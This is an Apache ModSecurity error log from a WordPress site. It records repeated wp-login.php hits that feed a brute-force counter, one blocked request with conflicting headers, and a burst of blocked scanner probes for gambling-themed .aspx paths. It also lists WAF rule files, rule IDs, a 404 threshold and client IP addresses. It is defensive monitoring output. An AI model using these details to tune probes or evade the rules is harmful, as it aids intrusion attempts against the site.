[Tue May 26 12:08:02.637452 2026] [:error] [pid 39336:tid 39362] [client 119.18.52.246:46680] [client 119.18.52.246] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 119.18.52.246, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUcotwmp9MmyaRNgiAECQAAAVc"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 12:22:19.633414 2026] [:error] [pid 55988:tid 56002] [client 20.54.134.42:3661] [client 20.54.134.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.54.134.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUf-_3kVIz2sql52sfz3wAAAQs"]
[Tue May 26 12:22:20.946415 2026] [:error] [pid 55988:tid 55997] [client 20.54.134.42:3661] [client 20.54.134.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.54.134.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUf_P3kVIz2sql52sfz4QAAAQY"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 12:42:54.745824 2026] [:error] [pid 20025:tid 20089] [client 68.183.200.133:44948] [client 68.183.200.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.200.133, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUkzn7k8Vts-JPOkgVZkQAAAFg"]
[Tue May 26 12:42:56.307555 2026] [:error] [pid 20025:tid 20080] [client 68.183.200.133:44948] [client 68.183.200.133] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 68.183.200.133, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUk0H7k8Vts-JPOkgVZlgAAAE8"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 12:46:58.073659 2026] [:error] [pid 20025:tid 20074] [client 46.101.75.237:48448] [client 46.101.75.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.75.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUlwn7k8Vts-JPOkgVbmQAAAEk"]
[Tue May 26 12:46:59.199199 2026] [:error] [pid 20025:tid 20073] [client 46.101.75.237:48448] [client 46.101.75.237] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.101.75.237, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUlw37k8Vts-JPOkgVbnwAAAEg"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 12:59:00.835377 2026] [:error] [pid 20024:tid 20051] [client 103.166.184.148:35440] [client 103.166.184.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.166.184.148, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUolFdk7QtxEB93NpdZ8QAAAA0"]
[Tue May 26 12:59:03.090611 2026] [:error] [pid 20024:tid 20058] [client 103.166.184.148:35440] [client 103.166.184.148] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.166.184.148, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUol1dk7QtxEB93NpdZ8gAAABQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 13:13:11.687820 2026] [:error] [pid 20125:tid 20148] [client 157.230.148.169:41766] [client 157.230.148.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.148.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUr59k9jeWERFDLJc757AAAANU"]
[Tue May 26 13:13:12.944523 2026] [:error] [pid 20125:tid 20132] [client 157.230.148.169:41766] [client 157.230.148.169] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 157.230.148.169, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUr6Nk9jeWERFDLJc757gAAAMU"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 13:18:16.702860 2026] [:error] [pid 20026:tid 20094] [client 34.88.138.128:11776] [client 34.88.138.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.88.138.128, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUtGDXIXIr-5BZ8nR5KlwAAAII"]
[Tue May 26 13:18:17.875686 2026] [:error] [pid 20026:tid 20107] [client 34.88.138.128:11776] [client 34.88.138.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 34.88.138.128, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahUtGTXIXIr-5BZ8nR5KmQAAAI8"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 13:46:43.315392 2026] [:error] [pid 39336:tid 39346] [client 49.233.45.47:37948] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "ahUzw9wmp9MmyaRNgiAlEgAAAUc"]
[Tue May 26 14:11:55.907537 2026] [:error] [pid 20024:tid 20038] [client 79.116.52.1:33346] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.116.52.1, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU5q1dk7QtxEB93Npdk3QAAAAA"]
[Tue May 26 14:11:57.435984 2026] [:error] [pid 20024:tid 20042] [client 79.116.52.1:33346] [client 79.116.52.1] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 79.116.52.1, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU5rVdk7QtxEB93Npdk4AAAAAQ"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 14:18:50.406922 2026] [:error] [pid 39336:tid 39358] [client 37.187.156.42:49276] [client 37.187.156.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.187.156.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU7Stwmp9MmyaRNgiAxwQAAAVM"]
[Tue May 26 14:18:53.022145 2026] [:error] [pid 39336:tid 39362] [client 37.187.156.42:49276] [client 37.187.156.42] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 37.187.156.42, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU7Tdwmp9MmyaRNgiAxxgAAAVc"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 14:19:08.229508 2026] [:error] [pid 20025:tid 20084] [client 212.224.100.2:42128] [client 212.224.100.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.224.100.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU7XH7k8Vts-JPOkgWO0QAAAFM"]
[Tue May 26 14:19:09.430015 2026] [:error] [pid 20025:tid 20075] [client 212.224.100.2:42128] [client 212.224.100.2] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 212.224.100.2, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU7XX7k8Vts-JPOkgWO1AAAAEo"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 14:30:13.731019 2026] [:error] [pid 20024:tid 20062] [client 69.49.112.65:44548] [client 69.49.112.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.65, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU99Vdk7QtxEB93NpdnNAAAABg"]
[Tue May 26 14:30:14.839766 2026] [:error] [pid 20024:tid 20045] [client 69.49.112.65:44548] [client 69.49.112.65] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 69.49.112.65, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "ahU99ldk7QtxEB93NpdnNwAAAAc"], referer: https://vetstars.com.au/wp-login.php
[Tue May 26 14:35:40.344801 2026] [:error] [pid 20025:tid 20087] [client 51.75.119.154:46780] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "ahU_PH7k8Vts-JPOkgWVAgAAAFY"]
[Tue May 26 14:35:42.892952 2026] [:error] [pid 20025:tid 20082] [client 51.75.119.154:56020] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "ahU_Pn7k8Vts-JPOkgWVCAAAAFE"]
[Tue May 26 14:35:45.186906 2026] [:error] [pid 20025:tid 20085] [client 51.75.119.154:58908] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "ahU_QX7k8Vts-JPOkgWVEwAAAFQ"]
[Tue May 26 14:35:47.660325 2026] [:error] [pid 20125:tid 20132] [client 51.75.119.154:58920] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "ahU_Q9k9jeWERFDLJc4NagAAAMU"]
[Tue May 26 14:35:50.270668 2026] [:error] [pid 55988:tid 56007] [client 51.75.119.154:58926] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "ahU_Rv3kVIz2sql52scYLQAAARA"]
[Tue May 26 14:35:52.678009 2026] [:error] [pid 20025:tid 20088] [client 51.75.119.154:58928] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "ahU_SH7k8Vts-JPOkgWVMAAAAFc"]
[Tue May 26 14:35:55.234815 2026] [:error] [pid 39336:tid 39352] [client 51.75.119.154:60356] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "ahU_S9wmp9MmyaRNgiA3QAAAAU0"]
[Tue May 26 14:35:57.797367 2026] [:error] [pid 20025:tid 20077] [client 51.75.119.154:60362] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "ahU_TX7k8Vts-JPOkgWVOQAAAEw"]
[Tue May 26 14:36:00.348796 2026] [:error] [pid 20024:tid 20060] [client 51.75.119.154:60364] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "ahU_UFdk7QtxEB93Npdn4gAAABY"]
[Tue May 26 14:36:02.915717 2026] [:error] [pid 20024:tid 20052] [client 51.75.119.154:60366] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "ahU_Uldk7QtxEB93Npdn6wAAAA4"]
[Tue May 26 14:36:05.491768 2026] [:error] [pid 55988:tid 55999] [client 51.75.119.154:56400] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "ahU_Vf3kVIz2sql52scYRwAAAQg"]
[Tue May 26 14:36:07.905510 2026] [:error] [pid 39336:tid 39342] [client 51.75.119.154:56406] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "ahU_V9wmp9MmyaRNgiA3SgAAAUM"]
[Tue May 26 14:36:10.201401 2026] [:error] [pid 55988:tid 56005] [client 51.75.119.154:56422] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "ahU_Wv3kVIz2sql52scYTwAAAQ4"]
[Tue May 26 14:36:12.627463 2026] [:error] [pid 39336:tid 39354] [client 51.75.119.154:56432] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "ahU_XNwmp9MmyaRNgiA3VQAAAU8"]
[Tue May 26 14:36:15.062601 2026] [:error] [pid 55988:tid 56003] [client 51.75.119.154:45054] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "ahU_X_3kVIz2sql52scYWAAAAQw"]
[Tue May 26 14:36:17.487935 2026] [:error] [pid 39336:tid 39357] [client 51.75.119.154:45070] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "ahU_Ydwmp9MmyaRNgiA3XAAAAVI"]
[Tue May 26 14:36:19.868250 2026] [:error] [pid 20025:tid 20078] [client 51.75.119.154:45076] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20world.aspx"] [unique_id "ahU_Y37k8Vts-JPOkgWVeAAAAE0"]
[Tue May 26 14:36:22.293746 2026] [:error] [pid 55988:tid 56010] [client 51.75.119.154:45086] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgslot%20login.aspx"] [unique_id "ahU_Zv3kVIz2sql52scYawAAARM"]
[Tue May 26 14:36:24.717127 2026] [:error] [pid 20025:tid 20068] [client 51.75.119.154:48980] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pgzeed%20gold.aspx"] [unique_id "ahU_aH7k8Vts-JPOkgWVhgAAAEM"]
[Tue May 26 14:36:26.985755 2026] [:error] [pid 20025:tid 20082] [client 51.75.119.154:48984] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pp%20slot.aspx"] [unique_id "ahU_an7k8Vts-JPOkgWVjAAAAFE"]
[Tue May 26 14:36:29.557062 2026] [:error] [pid 20025:tid 20068] [client 51.75.119.154:48998] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches666%20pg.aspx"] [unique_id "ahU_bX7k8Vts-JPOkgWVkAAAAEM"]
[Tue May 26 14:36:31.980141 2026] [:error] [pid 20125:tid 20129] [client 51.75.119.154:49002] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/riches777%20pg.aspx"] [unique_id "ahU_b9k9jeWERFDLJc4NmAAAAMI"]
[Tue May 26 14:36:34.291983 2026] [:error] [pid 20125:tid 20140] [client 51.75.119.154:49006] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/royal%20slot.aspx"] [unique_id "ahU_ctk9jeWERFDLJc4NmwAAAM0"]
[Tue May 26 14:36:36.709286 2026] [:error] [pid 20025:tid 20083] [client 51.75.119.154:41676] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/sa%20casino.aspx"] [unique_id "ahU_dH7k8Vts-JPOkgWVowAAAFI"]
[Tue May 26 14:37:10.291662 2026] [:error] [pid 20025:tid 20074] [client 51.75.119.154:41692] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20vip.aspx"] [unique_id "ahU_ln7k8Vts-JPOkgWV7wAAAEk"]
[Tue May 26 14:37:12.593775 2026] [:error] [pid 39336:tid 39347] [client 51.75.119.154:52090] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20pg%20wallet.aspx"] [unique_id "ahU_mNwmp9MmyaRNgiA3jAAAAUg"]
[Tue May 26 14:37:15.113525 2026] [:error] [pid 20025:tid 20081] [client 51.75.119.154:34472] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20super%20wallet.aspx"] [unique_id "ahU_m37k8Vts-JPOkgWV9wAAAFA"]
[Tue May 26 14:37:17.612126 2026] [:error] [pid 20025:tid 20089] [client 51.75.119.154:34478] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20true%20wallet.aspx"] [unique_id "ahU_nX7k8Vts-JPOkgWV-AAAAFg"]
[Tue May 26 14:37:20.118893 2026] [:error] [pid 20025:tid 20083] [client 51.75.119.154:34482] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20777%20auto.aspx"] [unique_id "ahU_oH7k8Vts-JPOkgWWAgAAAFI"]
[Tue May 26 14:37:22.326170 2026] [:error] [pid 20024:tid 20050] [client 51.75.119.154:34490] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet%20iwallet%20link%20login.aspx"] [unique_id "ahU_oldk7QtxEB93NpdoCwAAAAw"]
[Tue May 26 14:37:24.828392 2026] [:error] [pid 39336:tid 39345] [client 51.75.119.154:42948] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot%20wallet.aspx"] [unique_id "ahU_pNwmp9MmyaRNgiA3nQAAAUY"]
[Tue May 26 14:37:27.375714 2026] [:error] [pid 55988:tid 56004] [client 51.75.119.154:42962] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slot1234%20pg.aspx"] [unique_id "ahU_p_3kVIz2sql52scYnQAAAQ0"]
[Tue May 26 14:37:29.875273 2026] [:error] [pid 39336:tid 39351] [client 51.75.119.154:42964] [client 51.75.119.154] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/slotxo%20wallet.aspx"] [unique_id "ahU_qdwmp9MmyaRNgiA3qAAAAUw"]
